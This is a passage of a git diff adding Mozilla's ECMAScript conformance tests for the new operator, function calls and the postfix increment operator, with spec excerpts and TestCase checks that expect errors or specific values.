+ "UNDEFINED = void 0; var o = new UNDEFINED()",
+ "error",
+ eval("o = new UNDEFINED()") );
+test();
+
+function TestFunction() {
+ return arguments;
+}
diff --git a/js/src/tests/ecma/Expressions/11.2.2-3-n.js b/js/src/tests/ecma/Expressions/11.2.2-3-n.js
new file mode 100644
index 000000000..a1a6ec3a5
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.2-3-n.js
@@ -0,0 +1,66 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.2-3-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ MemberExpression:
+ PrimaryExpression
+ MemberExpression[Expression]
+ MemberExpression.Identifier
+ new MemberExpression Arguments
+
+ new NewExpression
+
+ The production NewExpression : new NewExpression is evaluated as follows:
+
+ 1. Evaluate NewExpression.
+ 2. Call GetValue(Result(1)).
+ 3. If Type(Result(2)) is not Object, generate a runtime error.
+ 4. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 5. Call the [[Construct]] method on Result(2), providing no arguments
+ (that is, an empty list of arguments).
+ 6. If Type(Result(5)) is not Object, generate a runtime error.
+ 7. Return Result(5).
+
+ The production MemberExpression : new MemberExpression Arguments is evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 4. If Type(Result(2)) is not Object, generate a runtime error.
+ 5. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 6. Call the [[Construct]] method on Result(2), providing the list
+ Result(3) as the argument values.
+ 7. If Type(Result(6)) is not Object, generate a runtime error.
+ 8 .Return Result(6).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.2-3-n.js";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The new operator";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var DESCRIPTION = "NULL = null; var o = new NULL()";
+var EXPECTED = "error";
+var NULL = null;
+
+new TestCase( SECTION,
+ "NULL = null; var o = new NULL()",
+ "error",
+ eval("o = new NULL()") );
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.2.2-4-n.js b/js/src/tests/ecma/Expressions/11.2.2-4-n.js
new file mode 100644
index 000000000..71d642a3f
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.2-4-n.js
@@ -0,0 +1,70 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.2-4-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ MemberExpression:
+ PrimaryExpression
+ MemberExpression[Expression]
+ MemberExpression.Identifier
+ new MemberExpression Arguments
+
+ new NewExpression
+
+ The production NewExpression : new NewExpression is evaluated as follows:
+
+ 1. Evaluate NewExpression.
+ 2. Call GetValue(Result(1)).
+ 3. If Type(Result(2)) is not Object, generate a runtime error.
+ 4. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 5. Call the [[Construct]] method on Result(2), providing no arguments
+ (that is, an empty list of arguments).
+ 6. If Type(Result(5)) is not Object, generate a runtime error.
+ 7. Return Result(5).
+
+ The production MemberExpression : new MemberExpression Arguments is evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 4. If Type(Result(2)) is not Object, generate a runtime error.
+ 5. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 6. Call the [[Construct]] method on Result(2), providing the list
+ Result(3) as the argument values.
+ 7. If Type(Result(6)) is not Object, generate a runtime error.
+ 8 .Return Result(6).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.2-4-n.js";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The new operator";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var STRING = "";
+
+DESCRIPTION = "STRING = '', var s = new STRING()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "STRING = '', var s = new STRING()",
+ "error",
+ eval("s = new STRING()") );
+test();
+
+function TestFunction() {
+ return arguments;
+}
diff --git a/js/src/tests/ecma/Expressions/11.2.2-5-n.js b/js/src/tests/ecma/Expressions/11.2.2-5-n.js
new file mode 100644
index 000000000..80caff6b9
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.2-5-n.js
@@ -0,0 +1,70 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.2-5-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ MemberExpression:
+ PrimaryExpression
+ MemberExpression[Expression]
+ MemberExpression.Identifier
+ new MemberExpression Arguments
+
+ new NewExpression
+
+ The production NewExpression : new NewExpression is evaluated as follows:
+
+ 1. Evaluate NewExpression.
+ 2. Call GetValue(Result(1)).
+ 3. If Type(Result(2)) is not Object, generate a runtime error.
+ 4. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 5. Call the [[Construct]] method on Result(2), providing no arguments
+ (that is, an empty list of arguments).
+ 6. If Type(Result(5)) is not Object, generate a runtime error.
+ 7. Return Result(5).
+
+ The production MemberExpression : new MemberExpression Arguments is evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 4. If Type(Result(2)) is not Object, generate a runtime error.
+ 5. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 6. Call the [[Construct]] method on Result(2), providing the list
+ Result(3) as the argument values.
+ 7. If Type(Result(6)) is not Object, generate a runtime error.
+ 8 .Return Result(6).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.2-5-n.js";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The new operator";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var NUMBER = 0;
+
+DESCRIPTION = "NUMBER=0, var n = new NUMBER()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "NUMBER=0, var n = new NUMBER()",
+ "error",
+ eval("n = new NUMBER()") );
+test();
+
+function TestFunction() {
+ return arguments;
+}
diff --git a/js/src/tests/ecma/Expressions/11.2.2-6-n.js b/js/src/tests/ecma/Expressions/11.2.2-6-n.js
new file mode 100644
index 000000000..7b48da67d
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.2-6-n.js
@@ -0,0 +1,69 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.2-6-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ MemberExpression:
+ PrimaryExpression
+ MemberExpression[Expression]
+ MemberExpression.Identifier
+ new MemberExpression Arguments
+
+ new NewExpression
+
+ The production NewExpression : new NewExpression is evaluated as follows:
+
+ 1. Evaluate NewExpression.
+ 2. Call GetValue(Result(1)).
+ 3. If Type(Result(2)) is not Object, generate a runtime error.
+ 4. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 5. Call the [[Construct]] method on Result(2), providing no arguments
+ (that is, an empty list of arguments).
+ 6. If Type(Result(5)) is not Object, generate a runtime error.
+ 7. Return Result(5).
+
+ The production MemberExpression : new MemberExpression Arguments is evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 4. If Type(Result(2)) is not Object, generate a runtime error.
+ 5. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 6. Call the [[Construct]] method on Result(2), providing the list
+ Result(3) as the argument values.
+ 7. If Type(Result(6)) is not Object, generate a runtime error.
+ 8 .Return Result(6).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.2.2-6-n.js";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The new operator";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var BOOLEAN = true;
+DESCRIPTION = "BOOLEAN = true; var b = new BOOLEAN()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "BOOLEAN = true; var b = new BOOLEAN()",
+ "error",
+ eval("b = new BOOLEAN()") );
+test();
+
+function TestFunction() {
+ return arguments;
+}
+
diff --git a/js/src/tests/ecma/Expressions/11.2.2-7-n.js b/js/src/tests/ecma/Expressions/11.2.2-7-n.js
new file mode 100644
index 000000000..67ca27d09
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.2-7-n.js
@@ -0,0 +1,70 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.2-6-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ MemberExpression:
+ PrimaryExpression
+ MemberExpression[Expression]
+ MemberExpression.Identifier
+ new MemberExpression Arguments
+
+ new NewExpression
+
+ The production NewExpression : new NewExpression is evaluated as follows:
+
+ 1. Evaluate NewExpression.
+ 2. Call GetValue(Result(1)).
+ 3. If Type(Result(2)) is not Object, generate a runtime error.
+ 4. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 5. Call the [[Construct]] method on Result(2), providing no arguments
+ (that is, an empty list of arguments).
+ 6. If Type(Result(5)) is not Object, generate a runtime error.
+ 7. Return Result(5).
+
+ The production MemberExpression : new MemberExpression Arguments is evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 4. If Type(Result(2)) is not Object, generate a runtime error.
+ 5. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 6. Call the [[Construct]] method on Result(2), providing the list
+ Result(3) as the argument values.
+ 7. If Type(Result(6)) is not Object, generate a runtime error.
+ 8 .Return Result(6).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.2-6-n.js";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The new operator";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var STRING = new String("hi");
+
+DESCRIPTION = "var STRING = new String('hi'); var s = new STRING()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "var STRING = new String('hi'); var s = new STRING()",
+ "error",
+ eval("s = new STRING()") );
+test();
+
+function TestFunction() {
+ return arguments;
+}
diff --git a/js/src/tests/ecma/Expressions/11.2.2-8-n.js b/js/src/tests/ecma/Expressions/11.2.2-8-n.js
new file mode 100644
index 000000000..a2fbbc0c8
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.2-8-n.js
@@ -0,0 +1,70 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.2-8-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ MemberExpression:
+ PrimaryExpression
+ MemberExpression[Expression]
+ MemberExpression.Identifier
+ new MemberExpression Arguments
+
+ new NewExpression
+
+ The production NewExpression : new NewExpression is evaluated as follows:
+
+ 1. Evaluate NewExpression.
+ 2. Call GetValue(Result(1)).
+ 3. If Type(Result(2)) is not Object, generate a runtime error.
+ 4. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 5. Call the [[Construct]] method on Result(2), providing no arguments
+ (that is, an empty list of arguments).
+ 6. If Type(Result(5)) is not Object, generate a runtime error.
+ 7. Return Result(5).
+
+ The production MemberExpression : new MemberExpression Arguments is evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 4. If Type(Result(2)) is not Object, generate a runtime error.
+ 5. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 6. Call the [[Construct]] method on Result(2), providing the list
+ Result(3) as the argument values.
+ 7. If Type(Result(6)) is not Object, generate a runtime error.
+ 8 .Return Result(6).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.2-8-n.js";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The new operator";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var NUMBER = new Number(1);
+
+DESCRIPTION = "var NUMBER = new Number(1); var n = new NUMBER()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "var NUMBER = new Number(1); var n = new NUMBER()",
+ "error",
+ eval("n = new NUMBER()") );
+test();
+
+function TestFunction() {
+ return arguments;
+}
diff --git a/js/src/tests/ecma/Expressions/11.2.2-9-n.js b/js/src/tests/ecma/Expressions/11.2.2-9-n.js
new file mode 100644
index 000000000..66fb76197
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.2-9-n.js
@@ -0,0 +1,70 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.2-9-n.js
+ ECMA Section: 11.2.2. The new operator
+ Description:
+
+ MemberExpression:
+ PrimaryExpression
+ MemberExpression[Expression]
+ MemberExpression.Identifier
+ new MemberExpression Arguments
+
+ new NewExpression
+
+ The production NewExpression : new NewExpression is evaluated as follows:
+
+ 1. Evaluate NewExpression.
+ 2. Call GetValue(Result(1)).
+ 3. If Type(Result(2)) is not Object, generate a runtime error.
+ 4. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 5. Call the [[Construct]] method on Result(2), providing no arguments
+ (that is, an empty list of arguments).
+ 6. If Type(Result(5)) is not Object, generate a runtime error.
+ 7. Return Result(5).
+
+ The production MemberExpression : new MemberExpression Arguments is evaluated as follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 4. If Type(Result(2)) is not Object, generate a runtime error.
+ 5. If Result(2) does not implement the internal [[Construct]] method,
+ generate a runtime error.
+ 6. Call the [[Construct]] method on Result(2), providing the list
+ Result(3) as the argument values.
+ 7. If Type(Result(6)) is not Object, generate a runtime error.
+ 8 .Return Result(6).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.2-9-n.js";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The new operator";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var BOOLEAN = new Boolean();
+
+DESCRIPTION = "var BOOLEAN = new Boolean(); var b = new BOOLEAN()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "var BOOLEAN = new Boolean(); var b = new BOOLEAN()",
+ "error",
+ eval("b = new BOOLEAN()") );
+test();
+
+function TestFunction() {
+ return arguments;
+}
diff --git a/js/src/tests/ecma/Expressions/11.2.3-1.js b/js/src/tests/ecma/Expressions/11.2.3-1.js
new file mode 100644
index 000000000..591304f99
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.3-1.js
@@ -0,0 +1,91 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.3-1.js
+ ECMA Section: 11.2.3. Function Calls
+ Description:
+
+ The production CallExpression : MemberExpression Arguments is evaluated as
+ follows:
+
+ 1.Evaluate MemberExpression.
+ 2.Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 3.Call GetValue(Result(1)).
+ 4.If Type(Result(3)) is not Object, generate a runtime error.
+ 5.If Result(3) does not implement the internal [[Call]] method, generate a
+ runtime error.
+ 6.If Type(Result(1)) is Reference, Result(6) is GetBase(Result(1)). Otherwise,
+ Result(6) is null.
+ 7.If Result(6) is an activation object, Result(7) is null. Otherwise, Result(7) is
+ the same as Result(6).
+ 8.Call the [[Call]] method on Result(3), providing Result(7) as the this value
+ and providing the list Result(2) as the argument values.
+ 9.Return Result(8).
+
+ The production CallExpression : CallExpression Arguments is evaluated in
+ exactly the same manner, except that the contained CallExpression is
+ evaluated in step 1.
+
+ Note: Result(8) will never be of type Reference if Result(3) is a native
+ ECMAScript object. Whether calling a host object can return a value of
+ type Reference is implementation-dependent.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.3-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Function Calls";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+/* this.eval() is no longer legal syntax.
+// MemberExpression : this
+
+new TestCase( SECTION,
+"this.eval()",
+void 0,
+this.eval() );
+
+new TestCase( SECTION,
+"this.eval('NaN')",
+NaN,
+this.eval("NaN") );
+*/
+// MemberExpression: Identifier
+
+var OBJECT = true;
+
+new TestCase( SECTION,
+ "OBJECT.toString()",
+ "true",
+ OBJECT.toString() );
+
+// MemberExpression[ Expression]
+
+new TestCase( SECTION,
+ "(new Array())['length'].valueOf()",
+ 0,
+ (new Array())["length"].valueOf() );
+
+// MemberExpression . Identifier
+new TestCase( SECTION,
+ "(new Array()).length.valueOf()",
+ 0,
+ (new Array()).length.valueOf() );
+// new MemberExpression Arguments
+
+new TestCase( SECTION,
+ "(new Array(20))['length'].valueOf()",
+ 20,
+ (new Array(20))["length"].valueOf() );
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.2.3-2-n.js b/js/src/tests/ecma/Expressions/11.2.3-2-n.js
new file mode 100644
index 000000000..609eac9dd
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.3-2-n.js
@@ -0,0 +1,60 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.3-2-n.js
+ ECMA Section: 11.2.3. Function Calls
+ Description:
+
+ The production CallExpression : MemberExpression Arguments is evaluated as
+ follows:
+
+ 1.Evaluate MemberExpression.
+ 2.Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 3.Call GetValue(Result(1)).
+ 4.If Type(Result(3)) is not Object, generate a runtime error.
+ 5.If Result(3) does not implement the internal [[Call]] method, generate a
+ runtime error.
+ 6.If Type(Result(1)) is Reference, Result(6) is GetBase(Result(1)). Otherwise,
+ Result(6) is null.
+ 7.If Result(6) is an activation object, Result(7) is null. Otherwise, Result(7) is
+ the same as Result(6).
+ 8.Call the [[Call]] method on Result(3), providing Result(7) as the this value
+ and providing the list Result(2) as the argument values.
+ 9.Return Result(8).
+
+ The production CallExpression : CallExpression Arguments is evaluated in
+ exactly the same manner, except that the contained CallExpression is
+ evaluated in step 1.
+
+ Note: Result(8) will never be of type Reference if Result(3) is a native
+ ECMAScript object. Whether calling a host object can return a value of
+ type Reference is implementation-dependent.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.3-2-n.js";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Function Calls";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "3.valueOf()",
+ 3,
+ eval("3.valueOf()") );
+
+new TestCase( SECTION,
+ "(3).valueOf()",
+ 3,
+ eval("(3).valueOf()") );
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.2.3-3-n.js b/js/src/tests/ecma/Expressions/11.2.3-3-n.js
new file mode 100644
index 000000000..9d9aec595
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.3-3-n.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.3-3-n.js
+ ECMA Section: 11.2.3. Function Calls
+ Description:
+
+ The production CallExpression : MemberExpression Arguments is evaluated as
+ follows:
+
+ 1.Evaluate MemberExpression.
+ 2.Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 3.Call GetValue(Result(1)).
+ 4.If Type(Result(3)) is not Object, generate a runtime error.
+ 5.If Result(3) does not implement the internal [[Call]] method, generate a
+ runtime error.
+ 6.If Type(Result(1)) is Reference, Result(6) is GetBase(Result(1)). Otherwise,
+ Result(6) is null.
+ 7.If Result(6) is an activation object, Result(7) is null. Otherwise, Result(7) is
+ the same as Result(6).
+ 8.Call the [[Call]] method on Result(3), providing Result(7) as the this value
+ and providing the list Result(2) as the argument values.
+ 9.Return Result(8).
+
+ The production CallExpression : CallExpression Arguments is evaluated in
+ exactly the same manner, except that the contained CallExpression is
+ evaluated in step 1.
+
+ Note: Result(8) will never be of type Reference if Result(3) is a native
+ ECMAScript object. Whether calling a host object can return a value of
+ type Reference is implementation-dependent.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.3-3-n.js";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Function Calls";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "(void 0).valueOf()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "(void 0).valueOf()",
+ "error",
+ eval("(void 0).valueOf()") );
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.2.3-4-n.js b/js/src/tests/ecma/Expressions/11.2.3-4-n.js
new file mode 100644
index 000000000..7d097303b
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.3-4-n.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.3-4-n.js
+ ECMA Section: 11.2.3. Function Calls
+ Description:
+
+ The production CallExpression : MemberExpression Arguments is evaluated as
+ follows:
+
+ 1.Evaluate MemberExpression.
+ 2.Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 3.Call GetValue(Result(1)).
+ 4.If Type(Result(3)) is not Object, generate a runtime error.
+ 5.If Result(3) does not implement the internal [[Call]] method, generate a
+ runtime error.
+ 6.If Type(Result(1)) is Reference, Result(6) is GetBase(Result(1)). Otherwise,
+ Result(6) is null.
+ 7.If Result(6) is an activation object, Result(7) is null. Otherwise, Result(7) is
+ the same as Result(6).
+ 8.Call the [[Call]] method on Result(3), providing Result(7) as the this value
+ and providing the list Result(2) as the argument values.
+ 9.Return Result(8).
+
+ The production CallExpression : CallExpression Arguments is evaluated in
+ exactly the same manner, except that the contained CallExpression is
+ evaluated in step 1.
+
+ Note: Result(8) will never be of type Reference if Result(3) is a native
+ ECMAScript object. Whether calling a host object can return a value of
+ type Reference is implementation-dependent.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.3-4-n.js";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Function Calls";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "null.valueOf()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "null.valueOf()",
+ "error",
+ eval("null.valueOf()") );
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.2.3-5.js b/js/src/tests/ecma/Expressions/11.2.3-5.js
new file mode 100644
index 000000000..8914867f0
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.2.3-5.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.2.3-5-n.js
+ ECMA Section: 11.2.3. Function Calls
+ Description:
+
+ The production CallExpression : MemberExpression Arguments is evaluated as
+ follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Evaluate Arguments, producing an internal list of argument values
+ (section 0).
+ 3. Call GetValue(Result(1)).
+ 4. If Type(Result(3)) is not Object, generate a runtime error.
+ 5. If Result(3) does not implement the internal [[Call]] method, generate a
+ runtime error.
+ 6. If Type(Result(1)) is Reference, Result(6) is GetBase(Result(1)). Otherwise,
+ Result(6) is null.
+ 7. If Result(6) is an activation object, Result(7) is null. Otherwise, Result(7) is
+ the same as Result(6).
+ 8. Call the [[Call]] method on Result(3), providing Result(7) as the this value
+ and providing the list Result(2) as the argument values.
+ 9. Return Result(8).
+
+ The production CallExpression : CallExpression Arguments is evaluated in
+ exactly the same manner, except that the contained CallExpression is
+ evaluated in step 1.
+
+ Note: Result(8) will never be of type Reference if Result(3) is a native
+ ECMAScript object. Whether calling a host object can return a value of
+ type Reference is implementation-dependent.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.2.3-5";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Function Calls";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "true.valueOf()", true, true.valueOf() );
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.3.1.js b/js/src/tests/ecma/Expressions/11.3.1.js
new file mode 100644
index 000000000..9b11d00c9
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.3.1.js
@@ -0,0 +1,119 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.3.1.js
+ ECMA Section: 11.3.1 Postfix increment operator
+ Description:
+ The production MemberExpression : MemberExpression ++ is evaluated as
+ follows:
+
+ 1. Evaluate MemberExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToNumber(Result(2)).
+ 4. Add the value 1 to Result(3), using the same rules as for the +
+ operator (section 0).
+ 5. Call PutValue(Result(1), Result(4)).
+ 6. Return Result(3).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.3.1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Postfix increment operator");
+
+// special numbers
+new TestCase( SECTION, "var MYVAR; MYVAR++", NaN, eval("var MYVAR; MYVAR++") );
+new TestCase( SECTION, "var MYVAR= void 0; MYVAR++", NaN, eval("var MYVAR=void 0; MYVAR++") );
+new TestCase( SECTION, "var MYVAR=null; MYVAR++", 0, eval("var MYVAR=null; MYVAR++") );
+new TestCase( SECTION, "var MYVAR=true; MYVAR++", 1, eval("var MYVAR=true; MYVAR++") );
+new TestCase( SECTION, "var MYVAR=false; MYVAR++", 0, eval("var MYVAR=false; MYVAR++") );
+
+// verify return value
+
+new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;MYVAR++", Number.POSITIVE_INFINITY, eval("var MYVAR=Number.POSITIVE_INFINITY;MYVAR++") );
+new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;MYVAR++", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;MYVAR++") );
+new TestCase( SECTION, "var MYVAR=Number.NaN;MYVAR++", Number.NaN, eval("var MYVAR=Number.NaN;MYVAR++") );
+
+// verify value of variable
+
+new TestCase( SECTION, "var MYVAR=Number.POSITIVE_INFINITY;MYVAR++;MYVAR", Number.POSITIVE_INFINITY, eval("var MYVAR=Number.POSITIVE_INFINITY;MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR=Number.NEGATIVE_INFINITY;MYVAR++;MYVAR", Number.NEGATIVE_INFINITY, eval("var MYVAR=Number.NEGATIVE_INFINITY;MYVAR++;MYVAR") );
+new TestCase( SECTION, "var MYVAR=Number.NaN;MYVAR++;MYVAR", Number.NaN, eval("var MYVAR=Number.NaN;MYVAR++;MYVAR") );
+
+// number primitives
+new TestCase( SECTION, "var MYVAR=0;MYVAR++", 0, eval("var MYVAR=0;MYVAR++") );
+new TestCase( SECTION, "var MYVAR=0.2345;MYVAR++", 0.2345, eval("var MYVAR=0.2345;MYVAR++") );
